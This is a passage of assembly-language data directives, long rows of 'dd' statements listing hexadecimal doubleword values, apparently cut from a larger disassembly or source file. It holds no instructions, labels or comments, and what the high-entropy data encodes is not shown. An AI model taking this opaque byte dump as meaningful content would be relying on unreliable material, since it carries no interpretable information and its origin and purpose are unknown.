99C400A8h, 0D887E05Dh, 7A002C7Eh, 18AD62ABh, 2491C6ACh dd 0FD097CEh, 0B42E22B0h, 3C8863Fh, 903DC098h, 31FF981Dh dd 1708AA22h, 0E06F0B0Eh, 653FC275h, 0A7E200D1h, 38AFEEC5h dd 0BAA4A343h, 736E2081h, 2E06F448h, 2782CE93h, 0F3443858h dd 0E4D0B500h, 0BAC078C2h, 0AFCA3400h, 1D758E5h, 1C173CE3h dd 28214887h, 0F2A590DEh, 6D00C27Eh, 95C33811h, 0C0406Ch dd 0A467846Fh, 0F42B0AD6h, 8777ED00h, 83DE7A7Dh, 6571DFh dd 4F9A0DD0h, 502F23Dh, 0A0095A30h, 4CC5C9ADh, 912444FFh dd 5C4701C8h, 0FC36436Eh, 0E40163EAh, 8B122C4Ah, 2881A63Dh dd 0F8BA5865h, 0D1D8205Fh, 18FDFC31h, 1530B6A9h, 6C9AEBh dd 39B1DAF2h, 54615FC8h, 20AEF400h, 0DC0AD811h, 8B3F2C2Ah dd 0CEF2000Bh, 0F81CA527h, 5D51F303h, 0E8384C45h, 0A9720BEh dd 607A8D79h, 0BDD5009Ch, 2E143F5Fh, 0B68A770Ch, 7FA1806h dd 0D49F0D05h, 0BF9710DFh, 0AA0035A0h, 17DE3B26h, 86F650h dd 0EDEB5333h, 0C031D60Dh, 0AF9CA500h, 0FED91420h, 2C5B3E61h dd 1934CC80h, 717E4C5Eh, 0A1E8F65Eh, 0B8645800h, 3B40FB1Ah dd 0A9CC3201h, 4C802477h, 12A7F440h, 0E58500F2h, 43A804BDh dd 84007583h, 53C95EE3h, 0D63439h, 0C6764A74h, 889D1813h dd 30BCE9EDh, 0E400D2D8h, 0DD17CD91h, 3720B37h, 935AEF24h dd 2800FE66h, 0D1082757h, 0F62615Eh, 823902B3h, 3AACFBA0h dd 0D000ADE0h, 450F701h, 0FE7A03D9h, 508A608Dh, 237D2A46h dd 0C038AD00h, 9CE11994h, 0FC1516A8h, 6F120Bh, 3C1DDE10h dd 5007ED3Dh, 0F2F110ADh, 8C96CC50h, 6D090040h, 76B4E0D1h dd 0A0006EEFh, 48E1C792h, 1D4A77D8h, 800B261Bh, 2A602DE5h dd 1200AE55h, 0A6E424DBh, 243C65Dh, 96E76EDAh, 0C0D7FBE0h dd 79DF7A5h, 56ACEC6Dh, 0EB24E052h, 6E12A180h, 2300CA7Fh dd 9B3D9558h, 0DBDA00F3h, 0DA861AFh, 4D016352h, 0ABB4D7C3h dd 8CC1C4BAh, 0F03DE5D4h, 70A900A7h, 214EBE27h, 5A715CA8h dd 1FCC5D3Bh, 354FAF4Dh, 0C7CBE014h, 0DA0C6Eh, 593B5F84h dd 0F539813Eh, 44746A00h, 4CFF6DDDh, 0A9C5002Bh, 0D0CF9CF7h dd 50F6E229h, 0A19F371Eh, 0B7AEFCC0h, 1BEE4h, 877A2F16h dd 1BD23C3Dh, 2675B000h, 0E3C8D7FBh, 8F303837h, 9B925A00h dd 927EE55h, 4100DEE6h, 377BF075h, 2C38398Fh, 1244065h dd 577CEF7h, 1599C081h, 98258400h, 3D63F595h, 5AA500E7h dd 0DBFDC6F0h, 0BA7421A3h, 0C07D5426h, 3803E681h, 9C30B7D3h dd 0B0B60522h, 92C995h, 7814ACF8h, 733E9B0Fh, 0A96602F4h dd 60B7B82Eh, 24E668C3h dd 0BDD6B4h, 77A09B46h, 0C7EC0596h, 20FAD926h, 3A9F009h dd 933C38h, 36865F70h, 2F2862ADh, 13A6EA1Eh, 4A972280h dd 1B5CE6Dh, 291415DEh, 0D4834E77h, 0C004618h, 73236425h dd 1CACD724h, 817A5FA9h, 0AB56B4F4h, 0F91180E3h, 55CC30B2h dd 0DD970954h, 9880EA15h, 99BC1D28h, 0E6321F00h, 4B6BF6FCh dd 20BD00C8h, 7C87D881h, 34241A82h, 33009184h, 4C73E480h dd 46B000A5h, 53D74319h, 0A91EF544h, 52C0C520h, 0B1CD6849h dd 3D010024h, 0B8E1D95Ah, 8D00EA41h, 0B9313607h, 77EB54A5h dd 4BD6072Fh, 0C09BDE02h, 0EE860A66h, 0C6CBB000h, 65E25AEh dd 59F70074h, 34E091BBh, 0CE0E1688h, 271F4FA7h, 24C0FBD7h dd 52C28Ch, 397E96AAh, 33B9E77h, 2589B000h, 8DB5B419h dd 965D0068h, 0ACDCBEEDh, 0B203353Eh, 0C4F6C79Ch, 8966B09Dh dd 0FE150093h, 0AB7412F3h, 3400047Eh, 95BCBBFCh, 0FA35E4h dd 0CD6D9B1Ah, 5AE82D14h, 6205E300h, 818870Ch, 0E175BDh dd 4959240Dh, 717BFF0Fh, 0D47FD20Eh, 44A9A020h, 9D0DB2h dd 32EB07B6h, 66BB1730h, 0BED93Ch, 0FE21BC97h, 1D862413h dd 0C05E78CEh, 4D08F32Ch, 8900097Eh, 0F548AD8Fh, 7613C030h dd 0CCDB12EBh, 8A460312h, 5FD0EF28h, 9803EC38h, 0FDDCEA40h dd 0E529C0BFh, 25A100A9h, 96E0B5C2h, 1A756A92h, 0B315D00h dd 20FB703Bh, 8AFE00CDh, 0F8B19405h, 8200553Ch, 0B4C6694Dh dd 0C9D4BBh, 0A63AA758h, 4F32F5DAh, 2E510F00h, 0CB5AF9FBh dd 5B250059h, 39F8BB2Ah, 0DE00FF1Eh, 74885437h, 0C6BBEA6h dd 0EDAC0E8Fh, 73004640h, 7E66DC3Ch, 7C05BD0h, 2CBF6867h dd 161B5027h, 8100B960h, 7BAA8306h, 0FB7211h, 86EE650Fh dd 704E76ADh, 0E46F6901h, 0FC162723h, 6391BE80h, 12446C26h dd 569BBC01h, 31426DF7h, 1E9D54F0h, 808527A7h, 0CD5E3A62h dd 950AE8CCh, 0FB38ED14h, 36FFD100h, 0F5BDFC1h, 7A9A81AEh dd 415937C0h, 537D2EB8h, 0E3A87E50h, 467F98E6h, 0E76D9700h dd 0EE64A55h, 0D6E3CA0h, 14EFA680h, 1FBE0899h, 7000FFFAh dd 0C4D046B1h, 7E37A3Ch, 54E57C9Eh, 4E65700Dh, 9D07220Fh dd 79F6EA81h, 5D2A3080h, 8BE432h, 0B398C2AEh, 40583EE4h dd 0E8E6B500h, 0C7E0AA73h, 0FA6C00E2h, 9EED16FDh, 210EFCCBh dd 0C73384E3h, 80E9B927h, 0F1715768h, 0ADC2030Eh, 2032650Bh dd 4C4F4F8h, 640DA300h, 0B6A26115h, 4C7B1403h, 0CC1DEEC8h dd 0F6C3C102h, 0DC12873Fh, 8B009CF4h, 17FA5F49h, 1BDA35h dd 19652FF1h, 5CFDDDEDh, 0FF079E7Ah, 3308C287h, 0E0D24C83h dd 0E9F66Bh, 54EC7C3Eh, 0DEBB4F53h, 6259FF00h, 0E4AD5758h dd 0CC7926A4h, 54600320h, 0D800E60Eh, 4270FE14h, 21E30A2h dd 0A9C298E3h, 8C408F08h, 0BA166407h, 4A006FD5h, 2CC09615h dd 0B753Fh, 186B2552h, 0B8FD70D8h, 8B400A00h, 69421444h dd 0B2AC0050h, 77EA08D3h, 180043FFh, 91540672h, 0E4A8DCh dd 34CE417Ah, 57D9E623h, 4A53E000h, 0F581D177h, 39C74C1h dd 0E58F51DCh, 40A8D047h, 13005772h, 0E21285A7h, 17A62E87h dd 0B00FCF3Bh, 9C3B531Bh, 632D9E36h, 40007152h, 9BF546F8h dd 7E7624BFh, 40E4003Ch, 0F92D3A5Ah, 0FA011F00h, 289F05EFh dd 0E6E17F6Ah, 0AC880558h, 80212D57h, 604FA614h, 3300CDEEh dd 9ED65666h, 0DF7E08h, 54D41F98h, 1347E180h, 6E2C78FEh dd 1809D237h, 0B01480C5h, 1C2153A7h, 0F88F36h, 96C12EC3h dd 0C70BFBFAh, 5C2526B4h, 0A7E001C7h, 0E2CA12ADh, 0E5AFF880h dd 0F0A8E86Eh, 0D700DE30h, 0F502D9CEh, 9A4066h, 0DC0F4C8h dd 9FF17B1Eh, 0F000D078h, 37CB6E2Ah, 746D3003h, 0DD63005Ch dd 0C1053AFEh, 94041BF5h, 59B39513h, 0BBB30C0h, 0A7D244Dh dd 0F13C8734h, 75E24016h, 0C1007C5Ch, 55D77BB0h, 9EC4CB5h dd 307F42C5h, 8A865C00h, 0B81F14E0h, 8140B3A7h, 0C7BEB643h dd 1A1F0F6Bh, 7E80F6C4h, 0F7F45033h, 6857AA00h, 0EB2A428Ah dd 23575EDh, 501E2077h, 4C48A433h, 0BAF4C7A0h, 7F9E3Ch dd 0FF7D18F0h, 13A5ECFh, 0EA881BC0h, 5083F6B4h, 42DAE184h dd 0AC983071h, 3CC2C53Ch, 308BB2Dh, 97F2DD48h, 7A9EA05Eh dd 0EFFE0649h, 0F0179D2Ch, 92252002h, 0C03E4C31h, 0F9B9F4h dd 5374516Fh, 0D68F62BBh, 4D980DFAh, 8300BE76h, 0D71B012Bh dd 0F3198Bh, 7668FF81h, 9E9DDC1Eh, 566B9600h, 0F9CEC26Ch dd 238900CBh, 3DF7A762h, 2F65E1Bh, 0EA0CD01Fh, 8045DE8Eh dd 635C3A78h, 594A01A2h, 978CE056h, 7BD1CCB3h, 0BA9AA800h dd 17F809F7h, 0FC2B013Fh, 0CF5C8F19h, 0AC488F1Fh, 0AE164003h dd 5CE87DB2h, 987BB864h, 5B58009Fh, 3A1422D2h, 151F2345h dd 2D805357h, 0BA7F9CCBh, 0B4770BDAh, 0FA8033AEh, 0A11DFC9h dd 0EFC1F900h, 303C7671h, 7790016h, 35FF5B4h, 0FC9049CFh dd 1B009871h, 880EFBE6h, 0FBB1812h, 0B4F83202h, 64358063h dd 0E5015FF8h, 69129F03h, 0B96A83B8h, 0FD20425Ah, 8EED003Ch dd 0D1714346h, 37004D67h, 0A213CED6h, 3FCA79h, 0EB8345AEh dd 55A12ABDh, 1F630900h, 0FCED8944h, 60E70F08h, 88E03BEFh dd 13339BDAh, 0E020CC01h, 0A0E65221h, 0F2B9E8h, 87697F7Ch dd 4CFB373Fh, 3892161Ch, 6019F9Fh, 953D8041h, 86A860h dd 0D5C143ACh, 0AE353938h, 14099671h, 809D87E8h, 78FEFBC9h dd 62FC004Fh, 8534AAC7h, 2303FF69h, 7B951201h, 0C356891Bh dd 0E92DD4h, 2F114E77h, 0DD328BFDh, 0D67F2500h, 65715141h dd 79CD00E7h, 0A7BB9297h, 0B3007468h, 0E4298807h, 0EE212290h dd 1229830h, 8025D399h, 40054C38h, 2EB529C2h, 522BFD1Eh dd 0B2C746DEh, 0F980F7F3h, 0F8B4A5h, 1EF54CB9h, 95CE1C8Ch dd 963A6800h, 7386D4CCh, 654B031Fh, 1469BE8Dh, 3A504Ch dd 9F9AD02Bh, 38C26h, 0A889799Dh, 0F50CBE02h, 777B6D00h dd 81805F1Ah, 135D0197h, 256CA3E6h, 0FF4BD424h, 72DD4C00h dd 9557A444h, 2EC7D46h, 474A92CEh, 75E01BADh, 0C809D42Dh dd 725E1Dh, 0FBC9F798h, 0F070051h, 696EB2D1h, 61048552h dd 236A8F6h, 15557EC0h, 60E9001Ah, 89FD8806h, 0A1006DE6h dd 12CABD75h, 0B2DFEEh, 0ABCD5BE7h, 3E5637Fh, 0BD77870Fh dd 6C292006h, 1A7A83Ch, 81A27ED6h, 0D8AD2E12h, 570377C1h dd 61E5737Dh, 7CAB2Dh, 306B5A21h, 0CC6D6F3Fh, 0BA2FD218h dd 0F5518h, 82F22B96h, 543B7DAh, 0A8ED6A00h, 89C3186Eh dd 0A3B80429h, 8716DF0Bh, 3F4E73BCh, 314B62D8h, 4A93E300h dd 0CBA04DBh, 56A61DA7h, 0CF7F4068h, 7B3C13ACh, 1687C10Fh dd 455A30Bh, 7A008FC9h, 1C0CF179h, 0C0D8DCDDh, 0F829D333h dd 0FDF3C79Bh, 9DF9E3ADh, 0FE17CCE4h, 8C08ED05h, 7C0303Dh dd 0ACEDE86h, 437A2436h, 8E4400D8h, 0E0C7F132h, 0B4F3B628h dd 0BA749409h, 2658002Bh, 2D7D20Ah, 0DE9FBA2h, 0F840AE29h dd 0F307C583h, 30E614D3h, 0F14A87F0h, 737F3B41h, 59386481h dd 80E1DCE0h, 0CFCCEA90h, 7087D430h, 0E7D02B35h, 0C3C90050h dd 837A1966h, 13561500h, 1DAB63F1h, 24B81C9Bh, 94C90067h dd 53DFCE68h, 0B7007898h, 0BEADBA70h, 120792h, 8D64E0D1h dd 50036FEFh, 0D9B82505h, 48C3FD49h, 5C0B8099h, 76403A0Dh dd 0DC07A080h, 321ED1AFh, 5E2F8000h, 0A5D416AAh, 37FEFAh dd 0B2D24412h, 26AF35C8h, 0AC3D8E75h, 0B1C7807Ch, 0D49AFE06h dd 7E5D1303h, 0A6C840F9h dd 0C7AD2404h, 4C569B00h, 0F2BDA994h, 3A6C0C64h, 0D58013A1h dd 2141B51Eh, 602D3E40h, 437A370h, 0A9A7DE2Eh, 5E9180F8h dd 6C007D4Fh, 0F3188009h, 309366D6h, 0D3686A4Dh, 7CA0B8CDh dd 0B52C8F8Bh, 0B1009CA3h, 52A4D2CAh, 2CD558F6h, 0AC8A4E03h dd 13E08CE1h, 23078F5Eh, 97148099h, 7EA2D5B0h, 117000EEh dd 0AAB536CBh, 0BA003581h, 0FC213290h, 12BE5E1h, 73D9E4C9h dd 20DF17C1h, 0B004698h, 0C26F9B4Bh, 8F8572h, 48084998h dd 637A02EBh, 14FE8EE4h, 5A7ADE7Ch, 8CD7B80Fh, 0B9A260FEh dd 9C163Bh, 0E1F9FF37h, 0A92C0E21h, 19003478h, 9EF7AA08h dd 1EB8C453h, 0C093380Ch, 0C11AF9F4h, 7E39184Ah, 34A407EAh dd 261E086h, 97CC8385h, 40AA00D4h, 0E20852C9h, 88F8CE3Ah dd 74468600h, 0D902B055h, 0B5110235h, 0D0C32EB4h, 0CDFDAFC0h dd 7E904CE0h, 2D6F6100h, 0E3B19633h, 0F19E0067h, 239FA9EAh dd 32007EDEh, 0D7562473h, 797E8AEh, 262EC2EDh, 0DEA74E57h dd 0B2608FC4h, 40FFAA69h, 86BC2D00h, 823425DFh, 2F171EDh dd 92F506CEh, 37C0EA15h, 0DF059078h, 3D61E724h, 0F6D8D580h dd 0F3EE0713h, 0A0CDB468h, 0BC3EE832h, 8E72653Eh, 33BF4C57h dd 0C36DF803h, 539A012h, 0E83100C7h, 6E8A7AF5h, 0F200C5F0h dd 8EEBD794h, 0FA0B4582h, 4F470003h, 0B7DDA252h, 0E700A792h dd 0DB42F316h, 5493CBh, 3DF9978Fh, 117EF079h, 7020FB00h dd 2AC14F14h, 8C4B0006h, 8902D6C2h, 99007F17h, 11F74AA7h dd 0A0092E38h, 0EECFDCh, 0CEEB40F9h, 0E31FDBB7h, 74FDC0C0h dd 0DF248Dh, 4453EE1Ah, 0AEED49A8h, 0EA39A600h, 0B05584Dh dd 4188C0D9h, 0E037F31Ch, 5E169400h, 33DF924Bh, 49DB2EF1h dd 0C4C1018Ch, 302975E8h, 0CA0074E0h, 1C88F5A5h, 0F21A89E9h dd 7CEA0290h, 1E5F6926h, 0DB8EFC80h, 9400F943h, 50364F8Bh dd 750F7Eh, 0AB853331h, 0BB3DBFD7h, 0F8EDF407h, 38E07AECh dd 0B2AC88h, 0F95A4F65h, 0A318E72Bh, 9263480Eh, 4047604Eh dd 0B9B313h, 602C8AAAh, 106F1C69h, 25F9F200h, 0BD33EEF4h dd 0A6A100A9h, 0C3C2969Bh, 0EF003DFBh, 7E1C3FB8h, 26A88E4Dh dd 1100280h, 7BA1E2C8h, 984CC407h, 62554200h, 0FAC07017h dd 145D2732h, 0E400A054h, 0E761E15h, 630002Ah, 4369F3BDh dd 7800B91Ah, 0F8396E5Fh, 7C72A7h, 790F0BEDh, 7BEE4202h dd 83679D00h, 85DC051Fh, 0F875A0h, 1459BC9h, 840FBD94h dd 0B5F38h, 0F3144F6Bh, 0EB626Dh, 2798A2E6h, 0EE4EA0C6h dd 0E9645D00h, 907608BAh, 1CBBEAF0h, 0C730E3CDh, 308F4D4Ah dd 0D3A2FF0Dh, 54AAB400h, 2D8917DEh, 0C44F00E6h, 0B6E41EAh dd 8300CB9Bh, 0AE507631h, 18447072h, 78FF22E2h, 5C09426Ah dd 80A6AF57h, 0C55EFE07h, 985D673Bh, 0D05F7071h, 6C1C8D70h dd 18F0FDA0h, 0FF96E3h, 0B6FE6F3Ah, 28CC3F39h, 0C1FD8C00h dd 0DA7166FAh, 0B077E669h, 6861602Ah, 0ACB2C5F3h, 0E66859D9h dd 82D4D0C5h, 60D1FCD2h, 0FC3829BAh, 8E00EC0Eh, 639A6B71h dd 15E5CC26h, 985FA6E1h, 0C1FEB300h, 0E08CB6D3h, 19C52C71h dd 3806ACADh, 0FA0573Ah, 45046C59h, 0D47C87FEh, 42EBA337h dd 0B51EF087h, 2B01DB7Dh, 69E0BA03h, 3EF862A4h, 65AE0F4Bh dd 7E600590h, 0F2FDBE22h, 67847007h, 0A620AFA3h, 0E84BF0h dd 250CCD26h, 9A54971Eh, 39E5213h, 50FDA307h, 0B350AAD7h dd 653EB2h, 5745D7EBh, 0CD6DF96Bh, 8C423600h, 67C10840h dd 0A40E0062h, 0B2B4D2DDh, 6954CAF5h, 0F700E198h, 4C3463EBh dd 3952BEACh, 390967FFh, 0CE80AA9Ah, 3462C680h, 5031F301h dd 0F5CAB6BAh, 0F11204Bh, 6BAB8051h, 0A06C5A29h, 12826D9Ch dd 10F860Ch, 0E9615F81h, 9508989Fh, 3FC22021h, 43804486h dd 23F77C03h, 0D002B479h, 51DDF3A9h, 0AC8A068h, 6E1A7EAh dd 0FDC63EB6h, 436009EBh, 0A7E3AA21h, 0D4A302FBh, 16502A39h dd 3A380444h, 63258113h, 671BFA44h, 0E7371980h, 9E308C49h dd 0AD645879h, 8363B2C0h, 5670AE90h, 0A386448Ch, 8C5023B0h dd 2C05709Ch, 12E8346Ch, 98F2890Ch, 8414B8A8h, 38CB9064h dd 64D2B6FAh, 0AB7D4422h, 9239A702h, 8464128Ch, 6F207DF4h dd 626794E1h, 904195C0h, 0C024C692h, 200F1353h, 8798004Ah dd 7721685Eh, 21C07CE8h, 3822D439h, 24A100A4h, 9AFF5607h dd 3B004093h, 4D3E16FCh, 28D7E846h, 21388F8Dh, 0AD889CDEh dd 23EC6093h, 0D9217057h, 2444B99Dh, 5622D52Eh, 0BE1D2D00h dd 0E4E3825Fh, 0E63B26C1h, 22DB8000h, 14506E74h, 2A265DE6h dd 17852866h, 0D45C637Bh, 516F240h, 0A86BB1E4h, 99C494h dd 7358651Fh, 21521A6h, 52EE5000h, 36F6F729h, 79C0005h dd 663DC391h, 0A41F013Fh, 0A900BCE0h, 0FB11230h, 993C01FCh dd 90AB2CE1h, 8462CD59h, 9E6BD460h, 0E5670498h, 48F670CCh dd 27B0645Eh, 0DD0586BDh, 22477AA1h, 72CB81FEh, 50D8866Bh dd 2B99296h, 45E1BC6Ah, 1461D256h, 26D0F1AAh, 0A7E71F10h dd 0C206B608h, 400EF21Ah, 2B15A798h, 0D85F1C0Bh, 6E82038Ch dd 6115A397h, 9CBB1Bh, 773C1DB2h, 8DB21h, 0C4AF545h, 0AEC78044h dd 7248AD73h, 1D72350h, 0B6DFA7B0h, 8841180Eh, 0A7072974h dd 0F09AA4F1h, 914A8E90h, 0B2B01304h, 0FAC002B4h, 0D4A3BB38h dd 390E312Ah, 0E778E35Dh, 0B9A0B116h, 94FC8Bh, 51C397C4h dd 0ABE8F4B5h, 0C8908C90h, 0BBD02491h, 302F866Bh, 0FC5601h dd 12554BB3h, 0FC624AEEh, 0ACFB9580h, 10CFC90h, 8C0357CAh dd 50A51720h, 0BB0D3198h, 1C21A800h, 6E12F14Ch, 6F5F3886h dd 0D5654789h, 5711109Dh, 73E86480h, 487E127Eh, 0C4E388A8h dd 684874E4h, 5E5C0964h, 0F67821C7h, 0A048BA3Bh, 0DAC1C046h dd 2925BB57h, 0B114E70Eh, 69E341ACh, 20E6F647h, 0FAB4E46Dh dd 0C4189AB0h, 0CD19661Bh, 0B12C01DFh, 0FEFFB739h, 0D08461E0h dd 20C16317h, 0AA2B9127h, 1315CEFCh, 80F656Eh, 0E4C4D3C0h dd 2EB6B0C1h, 80220C26h, 0A79DA000h, 0B66C147Ah, 1ADA24E5h dd 0BF8C4044h, 2B0064EFh, 0E8C19CC3h, 0F06C1232h, 9A440DDFh dd 42C168CAh, 853198BCh, 5670A8C8h, 0A42AB086h, 0BEA93E90h dd 0E3707980h, 0E1F57AC9h, 0BC576903h, 0B659E2EDh, 36740249h dd 0FD07F947h, 203BE1E1h, 273FE85Ah, 76B900A9h, 0C1540A17h dd 0DB680AC7h, 0C0A0BB69h, 399A2CFAh, 1522DF46h, 2C00DCEEh dd 43AE85F9h, 9AE14531h, 7BAC0070h, 2F02D1D5h, 2A00C899h dd 0C0899A86h, 7961FF39h, 1412E830h, 0A4E86D72h, 28051848h dd 0C21DAEC1h, 0BC6182BDh, 8AB18DCh, 0D1705622h, 2D0171CFh dd 3A5822D0h, 9216E420h, 352A8915h, 315101D4h, 3CE632CEh dd 833C20h, 90B2D708h, 1341E29Eh, 0DDE7FA0Ah, 217CC82Eh dd 5D806A50h, 0C9933355h, 0A73900E8h, 0BE4C111h, 0B409C24Fh dd 17D460CBh, 6BBB88A4h, 0C8FD3163h, 1EAD40DEh, 0CE13B791h dd 0C4951B3Bh, 0D9F12000h, 941C798Ch, 9053C900h, 0FD170181h dd 0B78A0556h, 40C896D7h, 58520294h, 0F153D77h, 69088EEh dd 5DE3C1EAh, 94E90079h, 1A8DAAD6h, 0FF0424ADh, 6966F652h dd 0BAC8588Fh, 0A7D6E0C0h, 0F781035Ch, 6EF614CCh, 0DCDB4024h dd 62EB215Eh, 4BA6C283h, 652E98ACh, 7470A095h, 192BE8AAh dd 0A17E5875h, 283251h, 0AA531B37h, 0FEC7F7h, 0D3C1B503h dd 0C4E7F191h, 18CDA1Dh, 0F5A6E205h, 0E7E504D2h, 615AE43Ch dd 71F8E070h dd 0D094074Dh, 3E1536h, 894BEC0Dh, 0F933BC05h, 843E6260h dd 1E63437Ah, 0A040D96Bh, 452D15A1h, 0F6D04C85h, 4BEB0177h dd 34F79E72h, 1276C080h, 3CFEDF02h, 0C00B9466h, 0D4C7C4h dd 0F934F049h, 0EE5F1B4Eh, 3D687D00h, 8E547AB0h, 98EEB1h dd 2738A33Ch, 44123FFEh, 0DB20900h, 0C842631h, 0E49900A6h dd 3F35901Bh, 0E20023D0h, 0C9E7FF2Eh, 0F2E866h, 0AD3BC0B5h dd 0D2F9F00Ch, 460BB177h, 0DE34A894h, 6928F0h, 63C9C69Fh dd 4D54EA69h, 6BF09B74h, 51D5A800h, 0AAF96057h, 4631871h dd 0B6781BAh, 0F68A0A03h, 0B006533Ch, 0FDC346h, 75CE2CADh dd 0D6A869BEh, 32F0DD00h, 7BB3DFFEh, 189DEE7Dh, 408F614Eh dd 360C35DCh, 80F84904h, 86A5008Ah, 8C9B8D4Ah, 29024C30h dd 0DCC8A99Dh, 0A59F4065h, 327F00DAh, 2DB63A08h, 4032BB1h dd 6D3EE9EFh, 0F042E9EAh, 0FC11804Eh, 0CB4F18B9h, 317B81h dd 396C421Dh, 70BA8E95h, 605EFB05h, 80006837h, 8D929871h dd 81A000B5h, 0D10507A4h, 8300420Ah, 86018A34h, 4009A9h dd 0B5BB6378h, 4F3AFBADh, 6C083002h, 0F27397Ah, 0D1F11700h dd 0D035884h, 0E0FFCDA1h, 7760E435h, 8E21E486h, 203FC7EBh dd 741280DAh, 8B0B1600h, 44702028h, 69A5201Ch, 0BA330C00h dd 0EFA9AB03h, 7E4C0181h, 777A21F3h, 0C8D3F7B0h, 0D4825C88h dd 62BF2302h, 48ECDFAEh, 190100h, 6BCF1353h, 6E44A385h dd 15C03D60h, 0B55D1Dh, 3458EDDh, 62C1374h, 9A6BFB00h dd 541C8577h, 0D5E21DAAh, 0D318D4F2h, 3761F000h, 2F5F2B99h dd 0CFEC9500h, 7BFFD910h, 3BF88Ch, 13F26EBEh, 22AD326Dh dd 0B8D2C503h, 0F85B5682h, 60FA49F1h, 25EA40B2h, 6539EE20h dd 0BCF400F7h, 0F0563560h, 4C083CCAh, 4238B300h, 0EB053E06h dd 0A3138601h, 0DF09F592h, 0DBA9A040h, 6BD51322h, 58A4639Dh dd 6E70AB90h, 0ACC0FCB1h, 78271h, 0F9685544h, 2243CB73h dd 0A749890Fh, 0A229E3CEh, 0D720E070h, 54EF00BDh, 0F0A9E22Eh dd 300F817h, 0C3A8AD1Bh, 5E341D0Dh, 0C09AF082h, 153C4500h dd 0D1B93D1Ch, 0C1090094h, 92724774h, 4901887Fh, 36C9FE07h dd 8020EB24h, 9D333A3Ch, 70210A31h, 83C231E7h, 0AE747AAEh dd 1B180E7Eh, 732024F9h, 372CA0B2h, 0BAA5FD00h, 0C8C7D24Ch dd 0BD570083h, 277FAD4Ah, 9E001615h, 7995E7AAh, 0F0ED88h dd 0E69338EFh, 0A7482007h, 0C09B7F00h, 1389CCDFh, 6DBE0318h dd 1579AB83h, 8BCCEB8h, 0D8D41900h, 43A71388h, 0E2990ABAh dd 58201FDCh, 58C304Ch, 6CE64A41h, 7FAC0086h, 0C0D66268h dd 0B359A03h, 187E0373h, 204A4408h, 0D2009B49h, 9A960193h dd 57A2502h, 0A5861EE5h, 0A29043AAh, 517283FEh, 533AF42Ch dd 503F9300h, 10A6C9h, 0AD122F1Fh, 4F9C83EDh, 0A7387860h dd 0B0ADFh, 0DE454BB4h, 0ABCCF2AAh, 21C0FCE8h, 0F70B3832h dd 44C0E5BAh, 82089225h, 353B609Fh, 50C200DEh, 0B820549Bh dd 0F91E9F27h, 95876384h, 0C05A9613h, 9DE77803h, 0CC0AA0BAh dd 51D61F1Fh, 93DB0D4Bh, 844C0B50h, 6530893Eh, 0C200B12Ah dd 6B79A0A5h, 2A823B74h, 718CACC0h, 0EAE1FBEh, 0C14DC296h dd 0CC867497h, 0E1F321A7h, 2442639h, 2460C8C0h, 102831BBh dd 0C8E956h, 8EAF2518h, 334F1463h, 74E7DC1Ch, 0E0BDC58Ch dd 0E5A70C89h, 0E96947BBh, 11B9B000h, 17D87A95h, 86A66CAh dd 0C9E4210Eh, 7354B901h, 4B0AF8AEh, 0DA031894h, 0C3A23E1Eh dd 5E72A611h, 18A1C80Eh, 138A0658h, 8E1512C0h, 3E48408Bh dd 0DBEC0BFh, 21FEA674h, 3F093900h, 79C828A0h, 1E72FC94h dd 80C214AAh, 276EEB50h, 0E8072666h, 0FD1AFFDFh, 98494750h dd 16F01FAh, 2EFC9012h, 2068C156h, 943CB25Ah, 0F2B680F6h dd 65DCD1Bh, 0D36D00BDh, 0E49F4F89h, 6300C588h, 6A85700Bh dd 7C862033h, 83E20794h, 0C0732E4Ah, 5C536C99h, 0E8E1900h dd 6663B89Eh, 86DC009Dh, 612EFE17h, 0BD0083E7h, 0B06CA953h dd 2A8BCh, 5904E07h, 596A6052h, 0C00FE98h, 8D9A10CAh, 1FEB5E6Dh dd 0D6F870h, 93667724h, 6E187A05h, 0D918A9F3h, 0D7DD0664h dd 0B0EE81CDh, 1F324600h, 566672D1h, 0FC080093h, 6D2EEBD6h dd 0AA67827Eh, 0B3250D51h, 19D89D81h, 8088C1F7h, 0D0801B71h dd 0A6171DFAh, 0DB01E7F4h, 0C76977FBh, 0E8FF35D7h, 52BADC61h dd 80EA045Eh, 0C2C4EC13h, 3E703014h, 23F8618h, 601CD500h dd 0CD0BF7D3h, 67B700BFh, 5313DE19h, 5406E0E8h, 0D49C6172h dd 0C2449028h, 181F1729h, 7D21C704h, 0FA3B119Dh, 17DDEC11h dd 0C942E384h, 704D1AEh, 124FF821h, 9EAF20DFh, 8C00263Dh dd 0ECC86693h, 7D747h, 56A6C0C4h, 0A5877330h, 0F1BB900h dd 0EEC9D81Dh, 647900B8h, 24F8551h, 0B90FFF5Fh, 47E9B37Ch dd 80AF4360h, 0CC93B2BEh, 544400BAh, 30E3E11Bh, 0D70EA70Ah dd 0E0EA6AD1h, 9FEB3306h, 0B2F00053h, 5C774E72h, 0D71F18EEh dd 3CFF67h, 81595670h, 5A8911h, 16A4D944h, 316C571Bh, 8E78A200h dd 10FE623h, 607F28D8h, 9BAA00BCh, 4779F933h, 93072DA4h dd 0E4F2F44Bh, 0A7FA08B0h, 0AEBB03F8h, 0A6DBC121h, 0A0FDCCD0h dd 0A3A44F00h, 7D2710E5h, 118000C6h, 0D6B52AEFh, 88C16C59h dd 0B48ED2C2h, 2DCCCDC9h, 182800ADh, 42C631DFh, 1005E4Bh dd 4EEAD110h, 26AB4Ch, 0BBBEB5AFh, 0DD52FC7Eh, 0E30E17FAh dd 953CD5h, 0FF14BAA8h, 91E10085h, 3106E65Ah, 47EED03h dd 80F0CD38h, 0B92A776Dh, 2E9101h, 1BE34D6Fh, 0C24C7825h dd 0F6BDCC00h, 0D28D7A72h, 0E62B1D9Ah, 0C42EC020h, 0CBA77AFh dd 741E7107h, 0EA00D28Ah, 16567B53h, 0A07FEFh, 8517679Ah dd 5B732B22h, 49D7F51Dh, 6132D040h, 583888h, 0C9D9B287h dd 67AEC08Bh, 60748D00h, 2CA90472h, 0A0910089h, 5466B43Fh dd 7000C316h, 92BF0928h, 17AC135Bh, 0D3A99Bh, 5E9A446Fh dd 80083A8h, 0C0F0C60Eh, 0FA7B2F18h, 0D279003Ch, 82D51647h dd 6B00AFEBh, 9A9D3E7Eh, 1421690Dh, 0D1B744FBh, 293CB000h dd 60C0A2DAh, 0A4B2D00h, 0BB136472h, 7BC1005Eh, 487DB0BEh dd 4900DD0Eh, 0C035A8A5h, 1D300Ch, 0FD4FE286h, 1160AD03h dd 3CC2458h, 89066AB0h, 0A578B15Eh, 0CE04F4h, 0B8F4AA4Eh dd 0DC117561h, 523FB200h, 